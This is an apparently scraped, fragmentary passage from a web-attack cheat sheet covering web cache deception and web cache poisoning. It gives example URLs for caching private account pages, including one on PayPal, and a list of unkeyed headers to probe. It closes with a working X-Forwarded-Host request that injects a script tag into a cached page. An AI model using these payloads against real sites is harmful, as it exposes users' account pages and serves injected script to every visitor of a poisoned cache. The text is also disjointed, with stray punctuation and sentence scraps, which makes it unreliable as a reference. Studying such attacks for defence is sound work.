http://www.example.com/home.php/non-existent.css
.http://www.example.com/home.php
, most probably with HTTP caching headers that instruct to not cache this page.https://www.example.com/myaccount/home/
https://www.example.com/myaccount/home/malicious.css
https://www.paypal.com/myaccount/home/malicous.css
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
Find an unkeyed input for a Cache Poisoning
js
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
Cache poisoning attack - Example for X-Forwarded-Host
unkeyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test"><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
<meta property="og:image" content="https://test"><script>alert(1)</script>">